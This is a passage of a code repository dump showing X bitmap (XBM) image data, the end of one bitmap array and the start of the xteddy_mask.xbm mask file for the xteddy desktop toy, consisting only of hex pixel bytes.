0x55,0x09,0x29,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa8, 336 | 0xaf,0xdd,0xae,0x7e,0x57,0xfd,0xfb,0xff,0x6d,0xdb,0x2a,0x55,0x42,0x0a,0x00, 337 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xf5,0xb6,0xfd,0x55,0x55, 338 | 0x7b,0xff,0xed,0xbb,0xb5,0x55,0xa9,0x94,0x2a,0x00,0x00,0x00,0x00,0x00,0x00, 339 | 0x00,0x00,0x00,0x00,0xaa,0xdf,0x6d,0xab,0xaf,0x55,0xea,0x5f,0x7f,0xef,0x6f, 340 | 0xad,0xaa,0x42,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c, 341 | 0xaa,0xda,0x5f,0xb5,0xaa,0xfa,0xff,0xfd,0xbd,0x5a,0xab,0xaa,0x08,0x0a,0x00, 342 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xca,0xba,0x6a,0xb5,0xad,0xaa, 343 | 0xf4,0x7b,0xd7,0xd7,0xb5,0x6a,0x55,0x91,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 344 | 0x00,0x00,0x00,0x00,0x5a,0xa5,0xda,0x6e,0x6b,0x55,0xd5,0xff,0x7d,0x7f,0x6b, 345 | 0x55,0x25,0x05,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xaa, 346 | 0x4a,0x55,0xdb,0xaa,0x2a,0xea,0xdf,0xfe,0xed,0xd6,0xad,0x4a,0x52,0x00,0x00, 347 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x55,0xad,0xb6,0x5a,0xd5, 348 | 0x6a,0xf7,0xdb,0xbf,0xbd,0x5a,0xd5,0x24,0x0a,0x00,0x00,0x00,0x00,0x00,0x00, 349 | 0x00,0x00,0x00,0x00,0x52,0x55,0x55,0x6b,0x57,0x2b,0xa9,0x7f,0x7f,0xfb,0x6b, 350 | 0x6b,0x55,0x89,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54, 351 | 0x55,0xd5,0xde,0xb4,0x4a,0xea,0xff,0xf6,0xdf,0xd6,0xaa,0xaa,0x12,0x0a,0x00, 352 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb4,0x52,0x25,0xa9,0x55,0x55, 353 | 0x95,0xdf,0xdf,0xf7,0xbb,0xb5,0x55,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 354 | 0x00,0x00,0x00,0x00,0x5a,0x49,0xa9,0x56,0xad,0xaa,0x54,0x7d,0xfb,0xbe,0x6e, 355 | 0x6b,0xad,0x2a,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb4, 356 | 0xaa,0xaa,0x6d,0x55,0x15,0xa5,0xfe,0xff,0xef,0xdb,0xde,0xaa,0x4a,0x04,0x00, 357 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xac,0x4a,0xa5,0xaa,0xaa,0xaa, 358 | 0x4a,0xab,0xea,0x7b,0xb7,0xb5,0x5b,0x55,0x11,0x00,0x00,0x00,0x00,0x00,0x00, 359 | 0x00,0x00,0x00,0x00,0xa8,0x56,0x52,0x55,0x55,0x25,0x91,0xfe,0xbf,0xff,0x7a, 360 | 0xab,0x6a,0x55,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xda, 361 | 0xa5,0x94,0xaa,0x5a,0xa9,0xaa,0xbd,0xfb,0xaf,0xd7,0x5a,0x55,0xab,0x02,0x00, 362 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa8,0x4a,0x21,0x55,0x55,0x15, 363 | 0x54,0xf7,0xde,0xfd,0x5a,0x55,0x55,0xad,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 364 | 0x00,0x00,0x00,0x00,0xb4,0x2b,0x4a,0xa2,0xaa,0x44,0xa5,0xbe,0xff,0xaf,0xb7, 365 | 0xab,0xaa,0x2a,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x68, 366 | 0x55,0x29,0x09,0x29,0x91,0xaa,0xf5,0xb5,0xfb,0x6a,0xad,0xaa,0x55,0x01,0x00, 367 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd4,0xaa,0x84,0xa4,0xaa,0x2a, 368 | 0xd5,0x76,0xff,0xdf,0x5d,0x55,0x55,0x55,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 369 | 0x00,0x00,0x00,0x00,0x50,0x15,0x29,0x42,0x2a,0x41,0xb5,0xfa,0xdd,0xba,0xaa, 370 | 0x55,0xb5,0x8a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8, 371 | 0xa6,0x44,0xa8,0x54,0xaa,0xaa,0xdd,0xfe,0xd7,0x5b,0x55,0x55,0x2b,0x01,0x00, 372 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x2a,0x91,0x42,0x95,0x92, 373 | 0x54,0xfb,0xdb,0x6d,0x55,0x55,0xaa,0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 374 | 0x00,0x00,0x00,0x00,0x60,0x55,0x24,0x28,0xa9,0x24,0x55,0xb5,0x7e,0xab,0xaa, 375 | 0x92,0xaa,0x52,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40, 376 | 0xad,0x42,0x51,0x4a,0x4a,0x55,0xef,0xab,0x55,0xb5,0xaa,0xaa,0x26,0x00,0x00, 377 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x55,0x29,0x82,0xaa,0x50, 378 | 0x55,0xb9,0x7d,0x55,0x55,0xa5,0xaa,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 379 | 0x00,0x00,0x00,0x00,0x80,0x6a,0x49,0x54,0x55,0xaa,0xaa,0xea,0x96,0xaa,0xaa, 380 | 0x2a,0x95,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80, 381 | 0xda,0x92,0x92,0xaa,0x4a,0x55,0xa9,0x6f,0x85,0xa4,0x52,0xaa,0x14,0x00,0x00, 382 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xab,0x24,0x95,0x54, 383 | 0x95,0xd2,0xaa,0xaa,0x4a,0x55,0x25,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 384 | 0x00,0x00,0x00,0x00,0x00,0xda,0x42,0xaa,0xaa,0x52,0x55,0xa1,0xad,0x52,0x52, 385 | 0x52,0x55,0x22,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80, 386 | 0xb4,0x95,0xa4,0xaa,0xaa,0xa4,0xa0,0x55,0xa5,0x94,0xa4,0x4a,0x05,0x00,0x00, 387 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x55,0xa9,0xaa,0xaa, 388 | 0x4a,0x41,0xad,0x48,0xa9,0xaa,0x52,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 389 | 0x00,0x00,0x00,0x00,0x00,0xe8,0x12,0x55,0x57,0x55,0x55,0x40,0x15,0x95,0x52, 390 | 0x49,0x95,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 391 | 0x90,0x55,0xaa,0x5a,0x92,0x20,0x80,0xaa,0xaa,0x14,0x55,0x25,0x04,0x00,0x00, 392 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa4,0x92,0x52,0x55,0x55, 393 | 0x56,0x00,0x55,0x50,0x55,0x52,0x89,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 394 | 0x00,0x00,0x00,0x00,0x00,0x80,0x2a,0x95,0xaa,0x24,0x14,0x00,0xaa,0x46,0x55, 395 | 0x25,0x52,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 396 | 0x20,0xa1,0xaa,0x2a,0x55,0x15,0x00,0x54,0x59,0x55,0x48,0x09,0x00,0x00,0x00, 397 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8a,0x54,0x55,0x95, 398 | 0x0a,0x00,0x50,0xaa,0xaa,0x95,0xa4,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 399 | 0x00,0x00,0x00,0x00,0x00,0x80,0x50,0xaa,0x24,0xa5,0x02,0x00,0xa0,0x4a,0xa9, 400 | 0x2a,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 401 | 0x00,0x04,0x28,0x55,0xaa,0x02,0x00,0x00,0x10,0x45,0xaa,0x12,0x00,0x00,0x00, 402 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x42,0x89,0x54, 403 | 0x00,0x00,0x00,0x02,0x00,0xa9,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 404 | 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x14,0x52,0x15,0x00,0x00,0x00,0x00,0x00, 405 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 406 | 0x00,0x80,0xa8,0xaa,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 407 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00, 408 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 409 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00, 410 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 411 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 412 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 413 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 414 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 415 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 416 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 417 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 418 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 419 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 420 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 421 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 422 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 423 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 424 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 425 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; 426 | -------------------------------------------------------------------------------- /pixmaps/xteddy_mask.xbm: -------------------------------------------------------------------------------- 1 | #define xteddy_mask_width 196 2 | #define xteddy_mask_height 253 3 | static unsigned char xteddy_mask_bits[] = { 4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 5 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 6 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 8 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 9 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 10 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 11 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 12 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 13 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 14 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 15 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 16 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 17 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 18 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 19 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 20 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 21 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 22 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 23 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 24 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 25 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 26 | 0xe0,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 27 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0x01,0x00,0x00, 28 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 29 | 0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 30 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc, 31 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 32 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0x7f,0x00,0x00, 33 | 0xfe,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 34 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xc0,0xff,0xff,0xff,0xff,0x07,0x00, 35 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff, 36 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00, 37 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff, 38 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0xf0,0x0f,0x00,0x00,0x00,0x00,0x00,0x00, 39 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 40 | 0x1f,0xe0,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff, 41 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xfc,0xff,0xff,0x01, 42 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff, 43 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00, 44 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 45 | 0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff, 46 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f, 47 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff, 48 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00, 49 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 50 | 0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff, 51 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 52 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff, 53 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00, 54 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 55 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff, 56 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 57 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff, 58 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00, 59 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 60 | 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff, 61 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 62 | 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff, 63 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00, 64 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 65 | 0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff, 66 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 67 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff, 68 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00, 69 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 70 | 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff, 71 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 72 | 0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff, 73 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00, 74 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 75 | 0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff, 76 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 77 | 0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff, 78 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00, 79 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 80 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff, 81 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 82 | 0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff, 83 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00, 84 | 0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 85 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff, 86 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 87 | 0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff, 88 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00, 89 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 90 | 0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff, 91 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 92 | 0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff, 93 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00, 94 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 95 | 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe, 96 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 97 | 0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff, 98 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00, 99 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 100 | 0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8, 101 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 102 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff, 103 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00, 104 | 0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 105 | 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0, 106 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 107 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff, 108 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00, 109 | 0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 110 | 0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 111 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f, 112 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff, 113 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00, 114 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 115 | 0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 116 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f, 117 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff, 118 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00, 119 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 120 | 0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 121 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00, 122 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff, 123 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00, 124 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 125 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 126 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00, 127 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff, 128 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00, 129 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 130 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 131 | 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00, 132 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff, 133 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 134 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 135 | 0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 136 | 